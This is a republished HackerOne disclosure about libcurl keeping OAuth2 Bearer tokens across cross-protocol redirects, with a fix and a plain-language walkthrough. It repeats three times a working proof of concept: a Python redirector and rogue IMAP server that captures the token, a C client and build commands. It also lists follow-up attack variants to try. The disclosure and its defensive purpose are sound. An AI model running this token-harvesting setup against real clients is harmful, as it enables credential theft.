Skip to content
Info disclosure Disclosed report Advanced CVE-2025-14524CVE-2022-27774

libcurl: Improper Authentication State Management on Cross-Protocol Redirects

libcurl clears the username and password when a redirect crosses a host, port or protocol boundary, but it does not clear the separately stored OAuth2 Bearer token. An attacker who controls or compromises a server the victim contacts could redirect the client to their own endpoint and receive the still-valid Bearer token.

andrewml Follow

Originally disclosed on HackerOne

  • Disclosed after 7 hours

Following the recent advisory for CVE-2025-14524, I conducted an investigation into how libcurl manages OAuth2 credentials during complex redirect chains. I have confirmed that while the library successfully protects traditional user credentials, it fails to clear OAuth2 Bearer tokens in the same way during cross-protocol or cross-origin redirects. This report provides a detailed analysis and a working reproduction of how an attacker can leverage this state-management flaw to exfiltrate valid Bearer tokens.

AI Statement: This report was researched and generated with the assistance of an AI agent to analyze the libcurl source code and identify inconsistent state management logic. However, the vulnerability has been manually verified, the Proof of Concept code was compiled and executed locally, and the findings have been confirmed against a custom TCP server to ensure validity and reproducibility.

Vulnerability Description

The core issue is an inconsistency in libcurl's security boundary logic. When a request is redirected to a different host, port, or protocol, libcurl correctly invokes a "clear" operation on authentication state to prevent credential leakage (behavior hardened during the fix for CVE-2022-27774). However, my analysis shows that this clearing logic is incomplete as it only targets standard user/password fields.

Because the OAuth2 Bearer token (CURLOPT_XOAUTH2_BEARER) is stored separately in the handle's configuration, it survives the "clear" operation. When the transfer continues to the new destination, libcurl sees a valid Bearer token and automatically includes it in the new session's headers or SASL handshake.

Attack Scenario

  1. Victim Initialization: An application initiates a trusted request (e.g., to an internal API) with CURLOPT_XOAUTH2_BEARER set and CURLOPT_FOLLOWLOCATION enabled.
  2. The Hook: A malicious or compromised server returns a 301/302 redirect pointing to an attacker-controlled service using a different protocol (e.g., imap://).
  3. The Leak: libcurl follows the redirect. While it clears standard password credentials, the Bearer token remains. Upon connecting to the IMAP server, libcurl attempts SASL authentication and sends the token to the attacker.

Proof of Concept

I have built a custom environment to demonstrate the leak. This consists of a multi-protocol listener and a standard libcurl client.

1. Redirect & Stealer Server (redirect_server.py)

This script simulates the redirector and the credential-harvesting endpoint.

Python
import socket
import threading
import re
import base64

def http_redirector():
    host = '127.0.0.1'
    port = 8080
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[HTTP] Redirector listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            req = conn.recv(1024)
            # Redirecting to IMAP to trigger SASL authentication
            redirect = (
                "HTTP/1.1 301 Moved Permanently\r\n"
                "Location: imap://[email protected]:1430/\r\n"
                "Content-Length: 0\r\n\r\n"
            )
            conn.sendall(redirect.encode())
            print("[HTTP] Sent 301 Redirect to imap://[email protected]:1430/")

def imap_stealer():
    host = '127.0.0.1'
    port = 1430
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[IMAP] Stealer listening on {host}:{port}")
        
        conn, addr = s.accept()
        with conn:
            print(f"[IMAP] Victim connected from {addr}")
            conn.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\r\n")
            
            while True:
                data = conn.recv(4096).decode('utf-8', 'ignore')
                if not data: break
                
                if "AUTHENTICATE XOAUTH2" in data.upper():
                    conn.sendall(b"+\r\n")
                    token_data = conn.recv(4096).decode('utf-8', 'ignore')
                    print(f"\n[!!!] CAPTURED BEARER TOKEN: {token_data.strip()}\n")
                    break

if __name__ == "__main__":
    threading.Thread(target=http_redirector).start()
    threading.Thread(target=imap_stealer).start()

2. Client Reproduction Code (client_reproduce.c)

C
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    const char *secret_token = "TOP_SECRET_SESSION_TOKEN";

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();

    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:8080/initial_request");
        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        printf("[*] Executing transfer with Bearer token...\n");
        curl_easy_perform(curl);
        curl_easy_cleanup(curl);
    }
    return 0;
}

Steps to Reproduce

  1. Start the server: python redirect_server.py
  2. Compile and run the client: gcc client_reproduce.c -o repro -lcurl && ./repro
  3. Check the server logs. You will see the captured token in base64 format.

Vulnerable Code Analysis

The root cause is located in lib/http.c. When a redirect requires clearing credentials, the code only targets standard fields:

C
/* Location: lib/http.c */
if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    /* VULNERABILITY: OAuth2 Bearer token is not cleared here */
}

Technical Recommendation

To address this, the Bearer token must be explicitly cleared alongside the username and password when a security boundary is crossed:

C
if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    /* Recommended Fix */
    Curl_setstropt(&data->set.str[STRING_BEARER], NULL); 
}

Impact

  1. Credential Exfiltration: Valid, high-privilege Bearer tokens are leaked to unauthorized external servers.

The original report as published on HackerOne, by andrewml. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

libcurl is the client-side transfer library behind a large share of the software that speaks HTTP, IMAP, SMTP and other protocols. One of the features it exposes to applications is OAuth2 Bearer authentication: the application hands libcurl a token through CURLOPT_XOAUTH2_BEARER, and libcurl presents that token to the server, either as an HTTP header or through a SASL handshake such as AUTHENTICATE XOAUTH2 on IMAP.

libcurl also has a long-standing security boundary: when a transfer is redirected to a different host, port or protocol, the library is supposed to discard authentication state so that credentials meant for one origin are not replayed to another. That behaviour was hardened during the fix for CVE-2022-27774. Following the advisory for CVE-2025-14524, the researcher looked at whether the same clearing logic covers OAuth2 credentials, and found that it does not.

The report states that it was researched and generated with the assistance of an AI agent to analyse the libcurl source and identify inconsistent state-management logic. The vulnerability itself was manually verified: the proof of concept was compiled and executed locally, and the findings were confirmed against a custom TCP server.

Setup

The reproduction needs no external accounts or services. It consists of two pieces running on the same machine:

  1. A Python script that starts two listeners: an HTTP redirector on [redacted]:8080 and a rogue IMAP server on [redacted]:1430 that harvests the token.
  2. A small C program linked against libcurl that performs a request with a Bearer token set and redirects enabled.

The client enables CURLOPT_FOLLOWLOCATION and explicitly allows the protocols involved in the chain with CURLOPT_REDIR_PROTOCOLS_STR set to http,https,imap, so the cross-protocol hop is permitted by configuration. Verbose output is switched on so the transfer can be observed.

Finding it

The starting point was the observation that libcurl's redirect handling invokes a clear operation on authentication state when the destination crosses a security boundary. The researcher's analysis showed that this clearing logic is incomplete: it only targets the standard user and password fields. The OAuth2 Bearer token is stored separately in the handle's configuration, so it survives the clear operation. When the transfer continues to the new destination, libcurl sees a valid Bearer token and automatically includes it in the new session's headers or SASL handshake.

The attack scenario is therefore three steps:

  1. Victim initialisation: an application initiates a trusted request (for example to an internal API) with CURLOPT_XOAUTH2_BEARER set and CURLOPT_FOLLOWLOCATION enabled.
  2. The hook: a malicious or compromised server returns a 301/302 redirect pointing to an attacker-controlled service using a different protocol (for example imap://).
  3. The leak: libcurl follows the redirect. It clears the standard password credentials, but the Bearer token remains. On connecting to the IMAP server, libcurl attempts SASL authentication and sends the token to the attacker.

Exploitation

Step 1: start the redirector and the stealer

The Python script runs two threads. The HTTP redirector accepts one connection and answers it with a permanent redirect to an IMAP URL on a different port:

Python
import socket
import threading
import re
import base64

def http_redirector():
    host = '[redacted]'
    port = 8080
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[HTTP] Redirector listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            req = conn.recv(1024)
            # Redirecting to IMAP to trigger SASL authentication
            redirect = (
                "HTTP/1.1 301 Moved Permanently\r\n"
                "Location: imap://[redacted]:1430/\r\n"
                "Content-Length: 0\r\n\r\n"
            )
            conn.sendall(redirect.encode())
            print("[HTTP] Sent 301 Redirect to imap://[redacted]:1430/")

def imap_stealer():
    host = '[redacted]'
    port = 1430
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[IMAP] Stealer listening on {host}:{port}")

        conn, addr = s.accept()
        with conn:
            print(f"[IMAP] Victim connected from {addr}")
            conn.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\r\n")

            while True:
                data = conn.recv(4096).decode('utf-8', 'ignore')
                if not data: break

                if "AUTHENTICATE XOAUTH2" in data.upper():
                    conn.sendall(b"+\r\n")
                    token_data = conn.recv(4096).decode('utf-8', 'ignore')
                    print(f"\n[!!!] CAPTURED BEARER TOKEN: {token_data.strip()}\n")
                    break

if __name__ == "__main__":
    threading.Thread(target=http_redirector).start()
    threading.Thread(target=imap_stealer).start()

The redirector replies with HTTP/1.1 301 Moved Permanently and a Location header pointing at imap://[redacted]:1430/. The IMAP listener greets the client with a capability line advertising AUTH=XOAUTH2, waits for an AUTHENTICATE XOAUTH2 command, answers with a continuation (+), and then reads the next chunk, which it prints as the captured Bearer token.

Step 2: run the client

The client sets the URL, the Bearer token, redirect following, the allowed redirect protocols and verbose mode:

C
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    const char *secret_token = "TOP_SECRET_SESSION_TOKEN";

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();

    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "http://[redacted]:8080/initial_request");
        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        printf("[*] Executing transfer with Bearer token...\n");
        curl_easy_perform(curl);
        curl_easy_cleanup(curl);
    }
    return 0;
}

The initial request goes to http://[redacted]:8080/initial_request with the token attached. The redirect target differs in both protocol and port from the original URL, which is exactly the boundary at which libcurl is supposed to drop credentials.

Step 3: build and run

Bash
python redirect_server.py
Bash
gcc client_reproduce.c -o repro -lcurl && ./repro

The server logs show the captured token. The report notes that the captured token appears in base64 format.

Root cause

The root cause is in lib/http.c. When a redirect requires clearing credentials, the code only frees the standard user and password fields:

C
/* Location: lib/http.c */
if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    /* VULNERABILITY: OAuth2 Bearer token is not cleared here */
}

The Bearer token lives in a separate slot of the handle's configuration (CURLOPT_XOAUTH2_BEARER), so the clear operation does not touch it. The existing defence against credential leakage on cross-origin redirects therefore works for user and password but not for OAuth2. Because the token is still present when the new transfer starts, libcurl treats it as valid for the new destination and offers it during the SASL handshake.

Impact

Valid, high-privilege Bearer tokens can be leaked to unauthorised external servers.

Fix

The recommendation is to clear the Bearer token explicitly alongside the username and password whenever a security boundary is crossed:

C
if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    /* Recommended Fix */
    Curl_setstropt(&data->set.str[STRING_BEARER], NULL);
}
  1. Other redirect codes: the reproduction uses 301. Try 302, 303 and 307 from a controlled server and watch whether the token is still offered at the new destination. A positive result is any SASL or header exchange at the second server that carries the token.
  2. Other cross-protocol hops: the report demonstrates http to imap. Try redirects into other protocols libcurl supports for SASL or header-based auth, with the corresponding protocol enabled in CURLOPT_REDIR_PROTOCOLS_STR. A positive result is the token appearing in the second protocol's authentication exchange.
  3. Same protocol, different host or port: redirect from one HTTP origin to another and inspect the outgoing request at the second origin. A positive result is an Authorization header carrying the Bearer token after the boundary was crossed.
  4. Other credential slots: audit which other authentication options are stored outside the fields freed by the clear block, and test each one across a redirect. A positive result is any credential that survives the boundary and is replayed.
  5. Applications that set the token once per handle: check clients that reuse a handle across multiple transfers. A positive result is a token from an earlier, trusted transfer being presented to a later, unrelated destination.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A library called libcurl is used by a huge number of programs to talk to servers over the internet. One of the things it can do is carry an OAuth2 Bearer token, which is a kind of digital pass that proves who you are, and present it to a server on the application's behalf. The researcher who wrote this report found that when libcurl is told to follow a redirect (a server's instruction to go and fetch something from a different address instead), it forgets to throw away that Bearer token, even though it does throw away ordinary usernames and passwords. That means a malicious server can redirect the program to a server the attacker controls, and libcurl will hand over the token without being asked twice. The report shows a working demonstration of this on a single computer, explains where in the code the mistake lives, and suggests a one-line fix.

The report also says it was researched and generated with the help of an AI agent that analysed the libcurl source code to spot the inconsistent handling. The vulnerability itself was checked by hand: the demonstration code was compiled and run locally, and the results were confirmed against a custom server.

The background you need

Before the details make sense, here are the pieces involved.

libcurl is a piece of software that programmers embed in their own programs so those programs can download and upload things over the internet. It speaks many languages that servers use, including HTTP (the language of web pages), IMAP (the language of email servers) and SMTP (the language of sending email). When you use a program that quietly fetches something from the internet, there is a good chance libcurl is doing the fetching underneath.

An API is a way for one program to ask another program for something, usually over the internet, without a human clicking anything. Think of it as a service counter: you hand over a request, you get back an answer. Many APIs require you to prove who you are before they answer.

A token is a short string of characters that acts like a temporary pass. Instead of sending your username and password every time, a program sends the token, and the server checks it and lets the request through. An OAuth2 Bearer token is a specific kind of token: "bearer" means that whoever holds it can use it, much like a cinema ticket. If someone else gets hold of it, they can use it too, until it expires or is cancelled.

A redirect is a server's way of saying "not here, try over there". When you visit a web address, the server can answer with a special code (301 or 302) and a Location header that contains the new address. Browsers follow these automatically; so can libcurl, if the program tells it to.

A protocol is the set of rules two computers use to talk. HTTP is for web content, IMAP is for reading email. A cross-protocol redirect is a redirect that sends you from one protocol to another, for example from a web address to an email address.

SASL is a general framework for logging in to a server. On an email server, one SASL method is called AUTHENTICATE XOAUTH2, and it is how a program presents an OAuth2 Bearer token to an email server.

A security boundary in this context means a change from one destination to another: a different host (computer), a different port (a numbered door on that computer) or a different protocol. Credentials meant for one destination should never be sent to another, because the second destination might be controlled by someone else.

The vulnerability class here is called "Insufficiently Protected Credentials". In plain terms: the software has a secret, and it does not guard that secret well enough, so the secret can end up somewhere it should not. The everyday comparison is leaving your house key on the doormat: the key is real and works, the problem is where it is kept.

The setup

The reproduction needs no external accounts or services. Everything runs on one machine, in two pieces:

  1. A Python script that starts two listeners. A listener is a small program that waits for a connection on a numbered port, like a shop assistant waiting at a counter. One listener pretends to be a web server that issues a redirect, on [redacted]:8080. The other pretends to be an email (IMAP) server that collects the token, on [redacted]:1430. The address [redacted] is the computer talking to itself.
  2. A small C program linked against libcurl that makes a request with a Bearer token set and redirects enabled.

The client turns on CURLOPT_FOLLOWLOCATION, which tells libcurl to follow redirects, and sets CURLOPT_REDIR_PROTOCOLS_STR to http,https,imap, which explicitly permits the protocols involved in the chain. Verbose output is switched on so the transfer can be watched.

Finding it

The starting point was a simple observation: libcurl's redirect handling runs a "clear" operation on authentication state whenever the destination crosses a security boundary. The researcher's analysis showed that this clearing is incomplete. It only targets the standard username and password fields. The OAuth2 Bearer token is stored separately in the handle's configuration, so it survives the clear. When the transfer continues to the new destination, libcurl sees a valid Bearer token and automatically includes it in the new session's headers or SASL handshake.

The attack scenario is therefore three steps:

  1. Victim initialisation: an application starts a trusted request (for example to an internal API) with CURLOPT_XOAUTH2_BEARER set and CURLOPT_FOLLOWLOCATION enabled.
  2. The hook: a malicious or compromised server returns a 301/302 redirect pointing to an attacker-controlled service using a different protocol (for example imap://).
  3. The leak: libcurl follows the redirect. It clears the standard password credentials, but the Bearer token remains. On connecting to the IMAP server, libcurl attempts SASL authentication and sends the token to the attacker.

Exploitation

Step 1: start the redirector and the stealer

The Python script runs two threads. A thread is a way for one program to do two things at once, so the redirector and the stealer can both wait for connections at the same time. The HTTP redirector accepts one connection and answers it with a permanent redirect to an IMAP address on a different port:

Python
import socket
import threading
import re
import base64

def http_redirector():
    host = '[redacted]'
    port = 8080
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[HTTP] Redirector listening on {host}:{port}")
        conn, addr = s.accept()
        with conn:
            req = conn.recv(1024)
            # Redirecting to IMAP to trigger SASL authentication
            redirect = (
                "HTTP/1.1 301 Moved Permanently\r\n"
                "Location: imap://[redacted]:1430/\r\n"
                "Content-Length: 0\r\n\r\n"
            )
            conn.sendall(redirect.encode())
            print("[HTTP] Sent 301 Redirect to imap://[redacted]:1430/")

def imap_stealer():
    host = '[redacted]'
    port = 1430
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind((host, port))
        s.listen(1)
        print(f"[IMAP] Stealer listening on {host}:{port}")

        conn, addr = s.accept()
        with conn:
            print(f"[IMAP] Victim connected from {addr}")
            conn.sendall(b"* OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready\r\n")

            while True:
                data = conn.recv(4096).decode('utf-8', 'ignore')
                if not data: break

                if "AUTHENTICATE XOAUTH2" in data.upper():
                    conn.sendall(b"+\r\n")
                    token_data = conn.recv(4096).decode('utf-8', 'ignore')
                    print(f"\n[!!!] CAPTURED BEARER TOKEN: {token_data.strip()}\n")
                    break

if __name__ == "__main__":
    threading.Thread(target=http_redirector).start()
    threading.Thread(target=imap_stealer).start()

Line by line, in plain words:

  • import socket, import threading, import re, import base64 bring in Python's built-in tools for network connections, running two jobs at once, pattern matching and encoding. Only the first two are actually used in the code shown.
  • def http_redirector(): starts the definition of the fake web server.
  • host = '[redacted]' and port = 8080 say it will listen on the local machine, on port 8080.
  • with socket.socket(...) as s: creates a network socket, which is the program's end of a connection, and makes sure it is closed afterwards.
  • s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) allows the port to be reused quickly if the script is restarted.
  • s.bind((host, port)) claims that address and port.
  • s.listen(1) starts waiting, with room for one pending connection.
  • conn, addr = s.accept() waits until someone connects, then hands back the connection and the visitor's address.
  • req = conn.recv(1024) reads up to 1024 bytes of the incoming request. The content is not inspected; the point is simply to wait for the client to speak first.
  • The redirect string is the reply: HTTP/1.1 301 Moved Permanently, a Location header pointing at imap://[redacted]:1430/, and Content-Length: 0 saying the body is empty. The \r\n sequences are the line breaks HTTP requires.
  • conn.sendall(redirect.encode()) sends that reply, converting the text to bytes.
  • def imap_stealer(): starts the fake email server, on port 1430.
  • After accepting a connection, it sends * OK [CAPABILITY IMAP4rev1 AUTH=XOAUTH2] Rogue Ready. This is the IMAP greeting, and the important part is AUTH=XOAUTH2: it tells the client that this server accepts OAuth2 tokens.
  • The while True: loop reads whatever the client sends, up to 4096 bytes at a time, and stops when the connection closes.
  • if "AUTHENTICATE XOAUTH2" in data.upper(): checks whether the client is trying to log in with an OAuth2 token. data.upper() makes the comparison case-insensitive.
  • conn.sendall(b"+\r\n") sends a single plus sign, which in IMAP means "go ahead, send the rest".
  • token_data = conn.recv(4096) reads the next chunk, which is the token itself, and the print line displays it as CAPTURED BEARER TOKEN.
  • The final block starts both functions in separate threads so they wait at the same time.

The redirector replies with HTTP/1.1 301 Moved Permanently and a Location header pointing at imap://[redacted]:1430/. The IMAP listener greets the client with a capability line advertising AUTH=XOAUTH2, waits for an AUTHENTICATE XOAUTH2 command, answers with a continuation (+), and then reads the next chunk, which it prints as the captured Bearer token.

Step 2: run the client

The client sets the URL, the Bearer token, redirect following, the allowed redirect protocols and verbose mode:

C
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    const char *secret_token = "TOP_SECRET_SESSION_TOKEN";

    curl_global_init(CURL_GLOBAL_ALL);
    curl = curl_easy_init();

    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "http://[redacted]:8080/initial_request");
        curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token);
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap");
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        printf("[*] Executing transfer with Bearer token...\n");
        curl_easy_perform(curl);
        curl_easy_cleanup(curl);
    }
    return 0;
}

Line by line:

  • #include <stdio.h> and #include <curl/curl.h> pull in the standard input/output tools and libcurl's own definitions.
  • int main(void) { is where the program starts.
  • CURL *curl; declares a variable that will hold libcurl's handle, which is the object that keeps track of one transfer.
  • const char *secret_token = "TOP_SECRET_SESSION_TOKEN"; is a stand-in for the real token. In a real application this would be a genuine credential.
  • curl_global_init(CURL_GLOBAL_ALL); prepares libcurl for use. This must happen before anything else.
  • curl = curl_easy_init(); creates the handle.
  • curl_easy_setopt(curl, CURLOPT_URL, "http://[redacted]:8080/initial_request"); sets the address to fetch: the fake web server from step 1.
  • curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, secret_token); attaches the Bearer token to the handle. This is the secret that should be protected.
  • curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); tells libcurl to follow redirects automatically. Without this, the redirect would be reported and nothing more would happen.
  • curl_easy_setopt(curl, CURLOPT_REDIR_PROTOCOLS_STR, "http,https,imap"); says which protocols are acceptable after a redirect. Including imap is what allows the hop from web to email.
  • curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); turns on detailed logging so the transfer can be observed.
  • curl_easy_perform(curl); actually performs the request and follows the redirect.
  • curl_easy_cleanup(curl); releases the handle.

The initial request goes to http://[redacted]:8080/initial_request with the token attached. The redirect target differs in both protocol and port from the original URL, which is exactly the boundary at which libcurl is supposed to drop credentials.

Step 3: build and run

Bash
python redirect_server.py
Bash
gcc client_reproduce.c -o repro -lcurl && ./repro

The first command starts the two fake servers. The second compiles the C program with gcc, linking it against libcurl with -lcurl, and then runs the result. The server logs show the captured token. The report notes that the captured token appears in base64 format. Base64 is a way of writing arbitrary data using only ordinary letters, digits and a few symbols, so it can travel safely through text-based protocols; it is not encryption, and anyone can decode it.

Root cause

The root cause is in lib/http.c. When a redirect requires clearing credentials, the code only frees the standard username and password fields:

C
/* Location: lib/http.c */
if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    /* VULNERABILITY: OAuth2 Bearer token is not cleared here */
}

In plain words: if(clear) means "if this redirect crosses a boundary and credentials must be dropped". Curl_safefree(data->state.aptr.user) and Curl_safefree(data->state.aptr.passwd) wipe the stored username and password. The comment in the middle marks the gap: the Bearer token is not wiped here.

The Bearer token lives in a separate slot of the handle's configuration (CURLOPT_XOAUTH2_BEARER), so the clear operation does not touch it. The existing defence against credential leakage on cross-origin redirects therefore works for username and password but not for OAuth2. Because the token is still present when the new transfer starts, libcurl treats it as valid for the new destination and offers it during the SASL handshake.

Impact

Valid, high-privilege Bearer tokens can be leaked to unauthorised external servers.

Fix

The recommendation is to clear the Bearer token explicitly alongside the username and password whenever a security boundary is crossed:

C
if(clear) {
    Curl_safefree(data->state.aptr.user);
    Curl_safefree(data->state.aptr.passwd);
    /* Recommended Fix */
    Curl_setstropt(&data->set.str[STRING_BEARER], NULL);
}

The added line, Curl_setstropt(&data->set.str[STRING_BEARER], NULL);, sets the stored Bearer token to nothing, so it is gone before the new destination is contacted. It is the same idea as the two lines above it, applied to the slot where the token actually lives.

The report lists further cases worth checking, each with a clear sign of success:

  1. Other redirect codes: the reproduction uses 301. Try 302, 303 and 307 from a controlled server and watch whether the token is still offered at the new destination. A positive result is any SASL or header exchange at the second server that carries the token.
  2. Other cross-protocol hops: the report demonstrates http to imap. Try redirects into other protocols libcurl supports for SASL or header-based auth, with the corresponding protocol enabled in CURLOPT_REDIR_PROTOCOLS_STR. A positive result is the token appearing in the second protocol's authentication exchange.
  3. Same protocol, different host or port: redirect from one HTTP origin to another and inspect the outgoing request at the second origin. A positive result is an Authorization header carrying the Bearer token after the boundary was crossed. An origin here means the combination of protocol, host and port that a request is aimed at.
  4. Other credential slots: audit which other authentication options are stored outside the fields freed by the clear block, and test each one across a redirect. A positive result is any credential that survives the boundary and is replayed.
  5. Applications that set the token once per handle: check clients that reuse a handle across multiple transfers. A positive result is a token from an earlier, trusted transfer being presented to a later, unrelated destination.

Glossary

  • API: a way for one program to request data or actions from another program, usually over a network.
  • Base64: an encoding that turns arbitrary data into ordinary text characters; it hides nothing and can be decoded by anyone.
  • Bearer token: a credential that grants access to whoever holds it, like a ticket; no extra proof of identity is needed.
  • C: a programming language commonly used for system software and libraries.
  • Credential: any secret used to prove identity, such as a password or a token.
  • Cross-protocol redirect: a redirect that moves a request from one protocol (for example HTTP) to another (for example IMAP).
  • CVE: a public identifier given to a known security vulnerability so people can refer to it unambiguously.
  • Handle: an object inside a library that keeps the settings and state for one transfer.
  • Header: an extra line of information sent alongside a request or response, such as Location or Authorization.
  • Host: a computer identified by a name or address on a network.
  • HTTP: the protocol used to fetch web pages and many APIs.
  • IMAP: the protocol used to read email from a mail server.
  • libcurl: a widely used library that programs embed to transfer data over many network protocols.
  • Listener: a program that waits for incoming connections on a port.
  • OAuth2: a standard way for applications to obtain and use tokens instead of passwords.
  • Origin: the combination of protocol, host and port that a request is aimed at.
  • Port: a numbered channel on a computer that a particular service listens on.
  • Protocol: an agreed set of rules for how two computers communicate.
  • Redirect: a server's response telling the client to fetch the same thing from a different address.
  • SASL: a general framework for authenticating to a server, with several methods underneath it.
  • Security boundary: a change of host, port or protocol, after which credentials from the previous destination should not be reused.
  • SMTP: the protocol used to send email.
  • Socket: the program's end of a network connection.
  • Thread: a way for one program to run more than one task at the same time.
  • Token: a string of characters used as a temporary pass in place of a password.
  • Vulnerability: a weakness in software that someone could exploit to cause harm.
  • XOAUTH2: a SASL method for presenting an OAuth2 Bearer token to a mail server.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.